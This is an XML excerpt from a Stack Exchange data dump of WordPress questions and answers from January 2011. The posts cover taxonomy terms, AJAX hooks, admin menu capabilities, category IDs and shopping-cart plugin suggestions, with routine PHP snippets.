  <row Id="7171" PostTypeId="2" ParentId="7168" CreationDate="2011-01-18T11:46:07.843" Score="1" ViewCount="" Body="&lt;p&gt;Have a look here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.mfields.org/2010/set-default-terms-for-your-custom-taxonomies-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.mfields.org/2010/set-default-terms-for-your-custom-taxonomies-in-wordpress-3-0/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what you need to do is use the save_post hook to check the terms for the post and add the default term from your taxonomy if it's empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to have an initial term set in your custom taxonomy, then you can use &lt;code&gt;wp_insert_term()&lt;/code&gt;. Probably easiest to add it in the same function that you're using to create your custom taxonomy. As t3ios adds in the comments, you should call &lt;code&gt;get_term()&lt;/code&gt; first, and only insert the term if the return value is null (ie the term doesn't exist).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example code is from the Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_term&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_term = term_exists( 'fruits', 'product' ); // array is returned if taxonomy is given&#xA;$parent_term_id = $parent_term['term_id']; // get numeric term id&#xA;wp_insert_term(&#xA;  'Apple', // the term &#xA;  'product', // the taxonomy&#xA;  array(&#xA;    'description'=&amp;gt; 'A yummy apple.'&#xA;    'slug' =&amp;gt; 'apple'&#xA;    'parent'=&amp;gt; $parent_term_id&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-01-18T17:59:31.483" LastActivityDate="2011-01-18T17:59:31.483" CommentCount="7" />
  <row Id="7172" PostTypeId="1" CreationDate="2011-01-18T11:47:04.887" Score="1" ViewCount="194" Body="&lt;p&gt;I am facing a problem of recreating a featured image function to show different images in different section.&#xA;I was trying to modify the existing function &quot;Featured Image&quot; and duplicate the post meta box but I am failed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one help me to sort this out, or give me an idea of how could I set up the Image meta box which I could apply to different page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2557" LastActivityDate="2011-01-20T11:08:48.133" Title="Wordpress Featured Image function recreate" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="7173" PostTypeId="2" ParentId="7163" CreationDate="2011-01-18T11:55:34.277" Score="2" ViewCount="" Body="&lt;p&gt;usually it because you are missing an &quot;add_action&quot; call for none logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this to your plugin or functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_nopriv_REPLACETHIS', 'ajax_get_date_post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the REPLACETHIS to your action value from the ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remember that when calling ajax from front-end and you want to allow none logged in users&#xA;to make these calls you allways add both:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action('wp_ajax_my_action', 'my_action_callback');&#xA;    add_action('wp_ajax_nopriv_my_action', 'my_action_callback');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can read about more at the &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T11:55:34.277" CommentCount="6" />
  <row Id="7174" PostTypeId="2" ParentId="7172" CreationDate="2011-01-18T12:00:25.707" Score="0" ViewCount="" Body="&lt;p&gt;wordpress 2.9.2 and up has a build in function for post-thumbnails&#xA;you can use that and you can read about it here &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/11/16/everything-you-need-to-know-about-wordpress-2-9s-post-image-feature&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/11/16/everything-you-need-to-know-about-wordpress-2-9s-post-image-feature&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T12:00:25.707" CommentCount="1" />
  <row Id="7175" PostTypeId="2" ParentId="7156" CreationDate="2011-01-18T12:19:56.353" Score="0" ViewCount="" Body="&lt;p&gt;the plugin creates it's own capabilities to the taxonomy &quot;series&quot; in orgSeries-setup.php&#xA;on line 163.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$capabilities = array(&#xA;            'manage_terms' =&amp;gt; 'manage_series',&#xA;            'edit_terms' =&amp;gt; 'manage_series',&#xA;            'delete_terms' =&amp;gt; 'manage_series',&#xA;            'assign_terms' =&amp;gt; 'manage_series'&#xA;            );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can manage this capabilities and allow it to authors form a plugin like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/role-scoper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then you can save the term meta data as an option like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_category ',save_series_meta)&#xA;&#xA;function save_series_meta($t_id){&#xA;    $t = get_term_by('id',$t_id,'series');&#xA;    if ($t){&#xA;        get_currentuserinfo();&#xA;&#xA;        $term_data = array(&#xA;                            'term_ID' =&amp;gt; $t_id,&#xA;                            'author'=&amp;gt;$current_user-&amp;gt;ID&#xA;                            )&#xA;        update_option(&quot;SeriesMeta$t_id&quot;,'$term_data');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so when they create a series it will save there id with it as an option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then you just make user they can only edit there own series like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action ( 'edit_category_form_fields', 'tme_cat_featured');&#xA;&#xA;function tme_cat_featured( $tag ) {&#xA;&#xA;    $t = get_term_by('id',$tag-&amp;gt;term_id,'series');&#xA;    if ($t){&#xA;        get_currentuserinfo();&#xA;        $t_meta = get_option('SeriesMeta$t-&amp;gt;term_id')&#xA;        if ($current_user-&amp;gt;ID != $t_meta['author']){&#xA;            echo 'you can only edit your own series!!';&#xA;            die()&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you will need your won meta box that will only let them create a series and selcet from there own.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-18T12:55:27.417" LastActivityDate="2011-01-18T12:55:27.417" />
  <row Id="7176" PostTypeId="2" ParentId="7048" CreationDate="2011-01-18T12:36:45.437" Score="-1" ViewCount="" Body="&lt;p&gt;Quick aside, it would be a good idea to use serialize and unserialize when setting or retrieving the settings, in order to preserve the data in the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('theme_settings',serialize($MyCSS));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$MyCSS = unserialize(get_option('theme_settings'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2011-01-18T12:36:45.437" CommentCount="2" />
  <row Id="7177" PostTypeId="1" AcceptedAnswerId="7230" CreationDate="2011-01-18T12:38:31.353" Score="0" ViewCount="173" Body="&lt;p&gt;I'm migrating content from an existing site into wordpress.&#xA;The old site has cross links that I'd like to maintain in the new site.&#xA;I can convert the old links to wordpress format links (based on post-id), but in order to do that I need to assign the posts their own ID's on migration.&#xA;is there any way to do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old site is NOT wordpress based...&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2011-01-18T13:26:15.270" LastActivityDate="2011-01-19T07:13:20.040" Title="How can I assign post a specific ID on creation?" Tags="&lt;migration&gt;&lt;hacks&gt;" AnswerCount="2" />
  <row Id="7178" PostTypeId="2" ParentId="7177" CreationDate="2011-01-18T13:17:30.977" Score="0" ViewCount="" Body="&lt;p&gt;Do you mean that old site used &quot;ugly&quot; permalinks? &lt;code&gt;http://example.com/?p=N&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;I am not entirely sure about mechanics of import but in general case WordPress &lt;code&gt;wp_insert_post()&lt;/code&gt; function does not allow to create posts with specific ID. Such input is treated as attempt to update existing post and fails (I assume from look at code, not tested) if post does not exists.&lt;/del&gt; See Otto's answer about &lt;em&gt;import_id&lt;/em&gt; which I missed. Following still stands for cases when IDs are not numeric or otherwise can't be smoothly transferred to WP IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea would be to map old &lt;em&gt;ids&lt;/em&gt; to &lt;em&gt;guid&lt;/em&gt; in WP, then run replacements for links in database.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-19T07:13:20.040" LastActivityDate="2011-01-19T07:13:20.040" CommentCount="4" />
  <row Id="7179" PostTypeId="1" AcceptedAnswerId="7186" CreationDate="2011-01-18T13:47:10.563" Score="0" ViewCount="127" Body="&lt;p&gt;I'm adding an extra menu item in admin menu by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_menu_page&quot; rel=&quot;nofollow&quot;&gt;add_menu_page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_menu_page('Calendar', 'Calendar', 'edit_posts', 'wp-eventcal/eventcal-manager.php');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still my editors do not see the menu item. Why not? Any user that can edit a post, should now be able to see the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Define some constants&#xA;  define('WP_CAL_PLUGIN_DIR', trailingslashit( str_replace(&quot;\\&quot;,&quot;/&quot;, dirname(__FILE__) ) ) );&#xA;  define('WP_CAL_PLUGIN_URL', trailingslashit( str_replace(&quot;\\&quot;,&quot;/&quot;, dirname(__FILE__) ) ) );&#xA;&#xA;&#xA;  // Plugin activation / deactivation script&#xA;  register_activation_hook(__FILE__,'event_cal_install');&#xA;&#xA;  // create custom plugin settings menu&#xA;  if ( function_exists('add_action') ) {&#xA;    add_action('admin_menu', 'event_cal_menu');&#xA;    add_shortcode('eventcal', 'shortcode_display_event');&#xA;  }&#xA;&#xA;function event_cal_menu() {&#xA;    //create new top-level menu&#xA;    add_menu_page('Calendar', 'Calendar', 'read', 'wp-eventcal/eventcal-manager.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could it be &lt;code&gt;admin_init&lt;/code&gt; in &lt;code&gt;add_action&lt;/code&gt; that gives me problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;br&gt;&#xA;If I log in as administrator, I can see the menu item.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-01-18T16:40:16.273" LastActivityDate="2011-01-18T16:40:16.273" Title="Not able to give editors acess to new admin menu item" Tags="&lt;capabilities&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7180" PostTypeId="1" CreationDate="2011-01-18T13:54:55.860" Score="1" ViewCount="109" Body="&lt;p&gt;This is a general question to discuss approaches to filtering WordPress image sizes based on the browser/platform (such as a smart phone or netbook or desktop). The idea being that on a mobile we don't want to force people to download a 100kb image when a 20kb one would be big enough for their screen, thus saving them and yourself, bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outcome would be to make using CSS media queries a viable alternative to a separate theme for a mobile version of a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few points to consider:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;User Interface&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to allow a user to control the thumbnail and medium image sizes etc... for different platforms or indeed just for different screen sizes?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Device Detection&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What would the best way to detect the device/UA's screen capabilities on the server side. Are there any plugins that do this already?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Implementation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;How would you go about writing the code to create the different thumbnails, and then to alter WPs output according to the device / screen size? Ideally this would be theme agnostic so a call to &lt;code&gt;the_post_thumbnail('medium')&lt;/code&gt; would return the appropriate size of image for the device/platform.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-18T16:08:35.707" Title="How to serve different thumbnails/images depending on users browser/platform" Tags="&lt;plugin-development&gt;&lt;images&gt;&lt;image-size&gt;&lt;mobile&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7181" PostTypeId="1" AcceptedAnswerId="18888" CreationDate="2011-01-18T14:50:03.607" Score="0" ViewCount="90" Body="&lt;p&gt;I have a site driven by Wordpress and a few custom directories that I've got at the top level.  Some of these top-level directories work and the content inside of them are being read as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've just created a new folder directory with an index.html inside and when I try to visit it, Wordpress is overriding it and displaying a 404 error (since that directory structure doesn't exist in the Wordpress database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled the W3 cache and I've checked the .htaccess file in the event that I put in a redirect in the past, but nothing that would indicate a redirect back to Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2011-05-31T22:57:36.400" Title="Wordpress overriding actual subdirectories" Tags="&lt;redirect&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7182" PostTypeId="1" CreationDate="2011-01-18T15:31:35.847" Score="0" ViewCount="92" Body="&lt;p&gt;Does someone some good &amp;amp; free paypal cart solution for wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at phpurchase.com, that looks good but I don't want to buy it since it's for a test project.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T17:13:40.230" Title="Free paypal cart solution" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-recommendation&gt;&lt;paypal&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7183" PostTypeId="2" ParentId="7182" CreationDate="2011-01-18T15:59:47.320" Score="1" ViewCount="" Body="&lt;p&gt;Have you checked out the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-simple-paypal-shopping-cart/&quot; rel=&quot;nofollow&quot;&gt;simple paypal shopping cart plugin&lt;/a&gt;? It looks like it is just waht you need.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-01-18T15:59:47.320" />
  <row Id="7184" PostTypeId="2" ParentId="7180" CreationDate="2011-01-18T16:08:35.707" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://tinysrc.net/&quot; rel=&quot;nofollow&quot;&gt;tinysrc.net&lt;/a&gt;, they do the hard work for you. I haven’t tested it, but it sounds promising.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-18T16:08:35.707" CommentCount="1" />
  <row Id="7185" PostTypeId="1" AcceptedAnswerId="7187" CreationDate="2011-01-18T16:20:48.817" Score="0" ViewCount="100" Body="&lt;p&gt;I'm working with a couple of plugins that ask for a list of category IDs to include/exclude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the categories section and select &quot;Edit&quot; I don't see an ID field listed on the page, though I see all the other details. Since I will be relaying this information onto other users, how can I find the category ID for them?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-01-28T17:00:03.597" Title="Is there an easy way to get a list of Category IDs?" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="7186" PostTypeId="2" ParentId="7179" CreationDate="2011-01-18T16:22:32.557" Score="0" ViewCount="" Body="&lt;p&gt;Must be a problem with the surrounding code, your &lt;code&gt;add_menu_page&lt;/code&gt; code works fine inside my test code, i can see the item as an admin or editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu' , 'admin_menu_new_items' );&#xA;function admin_menu_new_items() {&#xA;    add_menu_page('Calendar', 'Calendar', 'edit_posts', 'wp-eventcal/eventcal-manager.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works just fine for me..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using any plugins for managing the admin menu, such as Adminize? Or alternatively using any CSS to hide elements in the menu? Only two reasons i could think it would be hidden(aside from a problem with surrounding code).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-18T16:22:32.557" CommentCount="3" />
  <row Id="7187" PostTypeId="2" ParentId="7185" CreationDate="2011-01-18T16:43:29.080" Score="2" ViewCount="" Body="&lt;p&gt;there are some plugins that reveal the ID's on the admin side like&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-show-ids/&quot; rel=&quot;nofollow&quot;&gt;WP Show IDs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and by code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                  //as dropdown&#xA;$categories=  get_categories('hide_empty' =&amp;gt; 0,'taxonomy' =&amp;gt; 'category'); &#xA; echo '&amp;lt;select&amp;gt;';&#xA;  foreach ($categories as $category) {&#xA;&#xA;    $option = '&amp;lt;option value=&quot;'.$category-&amp;gt;category_id.'&quot;&amp;gt;';&#xA;    $option .= $category-&amp;gt;cat_name;&#xA;    $option .= '&amp;lt;/option&amp;gt;';&#xA;    echo $option;&#xA;  }&#xA;  echo '&amp;lt;/select&amp;gt;';&#xA;&#xA;  //or just print the categories names  by ids like this&#xA;&#xA;  $categories=  get_categories('hide_empty' =&amp;gt; 0,'taxonomy' =&amp;gt; 'category'); &#xA;&#xA;  foreach ($categories as $category) {&#xA;&#xA;    echo $category-&amp;gt;category_id;&#xA;    echo $category-&amp;gt;cat_name;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T16:43:29.080" CommentCount="2" />
  <row Id="7188" PostTypeId="2" ParentId="7185" CreationDate="2011-01-18T16:55:36.040" Score="1" ViewCount="" Body="&lt;p&gt;Showing the IDs is pretty simple, you need to hook onto the table heading and columns for that taxonomy's management page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I previously discussed this in a support topic &lt;a href=&quot;http://wordpress.org/support/topic/add-id-column-to-custom-taxonomy-admin-display-1?replies=10&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First hook onto the taxonomy table heading and add the new heading into the columns array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function category_id_head( $columns ) {&#xA;    $columns['term_id'] = __('ID');&#xA;    return $columns;&#xA;}&#xA;&#xA;add_filter( 'manage_edit-category_columns', 'category_id_head' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then hook onto the taxonomy table rows and output the term IDs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function category_id_row( $output, $column, $term_id ){&#xA;    if( $column != 'term_id')&#xA;        return $output;&#xA;    return $term_id;&#xA;}&#xA;&#xA;add_filter( 'manage_category_custom_column', 'category_id_row', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can of course always use a plugin, but for such a small amount of code that seems a bit silly.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-28T17:00:03.597" LastActivityDate="2011-01-28T17:00:03.597" />
  <row Id="7189" PostTypeId="2" ParentId="4724" CreationDate="2011-01-18T16:58:37.077" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cat_id = $_GET[&quot;cat&quot;];?&amp;gt;     &#xA;      &amp;lt;li id=&quot;category-active&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;?php if ($cat_id){echo get_the_category_by_id($li_id);}else{ echo &quot;Selectedcategory&quot;;}?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;            &amp;lt;?php   $subcategories1 = wp_list_categories(&quot;title_li&amp;amp;child_of=$cat_id&amp;amp;hide_empty&quot;);&#xA;                wp_list_categories(&quot;title_li=&amp;amp;current_category=&quot;); ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&amp;lt;?php ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i think their is no need of foreach or any loop we can get child of any category by using this simple code first &lt;code&gt;$li_id&lt;/code&gt; get the current cat id and we dynamicaly passed this id to &lt;code&gt;child_of=$cat_id&lt;/code&gt; and it show the selected cat childs i am using it in my site side  bar.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-19T08:59:17.847" LastActivityDate="2011-01-19T08:59:17.847" />
  <row Id="7190" PostTypeId="2" ParentId="7182" CreationDate="2011-01-18T17:13:40.230" Score="1" ViewCount="" Body="&lt;p&gt;Here's a couple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getshopped.org/&quot; rel=&quot;nofollow&quot;&gt;http://getshopped.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/eshop/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-18T17:13:40.230" />
  <row Id="7191" PostTypeId="2" ParentId="7150" CreationDate="2011-01-18T17:24:12.343" Score="1" ViewCount="" Body="&lt;p&gt;There is a plug-in that will send you an email whenever an update becomes available (security updates and otherwise).  This will be one of the easiest ways to get notified via email:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/update-notifier/&quot; rel=&quot;nofollow&quot;&gt;Update Notifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, there are usually emails on the &lt;a href=&quot;http://lists.automattic.com/mailman/listinfo/wp-testers&quot; rel=&quot;nofollow&quot;&gt;WP-Testers email list&lt;/a&gt; immediately following an update.  You can always subscribe to that to see both when updates are ready and when users find exotic bugs that might affect your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the core team is fairly consistent in blogging about security patches on the &lt;a href=&quot;http://wpdevel.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Development Updates site&lt;/a&gt;.  And, conveniently, the site offers email updates :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are three different options ... hopefully one will work for you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-18T17:24:12.343" />
  <row Id="7192" PostTypeId="1" AcceptedAnswerId="7193" CreationDate="2011-01-18T17:32:19.157" Score="0" ViewCount="190" Body="&lt;p&gt;is there a plugin or a way where i can restrict or limit the buttons on the admin interface for a certain user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the user who has a role of a writer, he/she can only post content. the other buttons are deactivated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the designer he/she can only change the &quot;Appearance Tab&quot;, other else are deactivated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2011-01-18T18:56:55.630" Title="plugin suggestion: limit user interface for admin" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;custom-menus&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="7193" PostTypeId="2" ParentId="7192" CreationDate="2011-01-18T17:49:06.483" Score="3" ViewCount="" Body="&lt;p&gt;Check out Adminimize, its done by Frank Bueltge a well known plugin author from germany.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-01-18T17:49:06.483" CommentCount="2" />
  <row Id="7194" PostTypeId="2" ParentId="6248" CreationDate="2011-01-18T17:54:21.207" Score="3" ViewCount="" Body="&lt;p&gt;I have written a code which provides a reliable activation/deactivation theme hooks. Please check it out and let me know what you guys think!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T17:54:21.207" CommentCount="1" />
  <row Id="7195" PostTypeId="2" ParentId="7138" CreationDate="2011-01-18T18:03:09.810" Score="0" ViewCount="" Body="&lt;p&gt;It worked when I added the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_tags_categories() {&#xA;register_taxonomy_for_object_type('category', 'tilbud');&#xA;register_taxonomy_for_object_type('post_tag', 'tilbud');&#xA;}&#xA;add_action('init', 'add_tags_categories');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-01-18T18:03:09.810" />
  <row Id="7196" PostTypeId="2" ParentId="4694" CreationDate="2011-01-18T18:37:51.253" Score="0" ViewCount="" Body="&lt;p&gt;@Jan I'm using the code you've provided and it's working, albeit with one problem. When I change the &lt;code&gt;$meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&lt;/code&gt; to what you've provided, it doesn't store the value. If I don't change it, I get the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: in_array() [function.in-array]: Wrong datatype for second argument&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Until I check one of the boxes. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-01-18T18:37:51.253" CommentCount="1" />
  <row Id="7197" PostTypeId="2" ParentId="7192" CreationDate="2011-01-18T18:56:55.630" Score="0" ViewCount="" Body="&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;// function to remove the Links menu item&#xA;function remove_menus()&#xA;{&#xA;// setup the global menu variable&#xA;global $menu;&#xA;// this is an array of the menu item names we wish to remove&#xA;$restricted = array( __('Links'));&#xA;end ($menu);&#xA;&#xA;while (prev($menu))&#xA;{&#xA;$value = explode(' ',$menu[key($menu)][0]);&#xA;&#xA;if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted))&#xA;{&#xA;unset($menu[key($menu)]);&#xA;}&#xA;}&#xA;}&#xA;if(!current_user_can('manage_options'))&#xA;{&#xA;// hook into the action that creates the menu&#xA;add_action('admin_menu', 'remove_menus');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will remove the links menu for everyone except those that can manage options (which I believe is the Editor level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just follow this same logic to remove all the necessary menus for certain user levels. &lt;a href=&quot;http://webdesignfan.com/customizing-the-wordpress-admin-area/&quot; rel=&quot;nofollow&quot;&gt;Check out the post here for further details&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-18T18:56:55.630" CommentCount="1" />
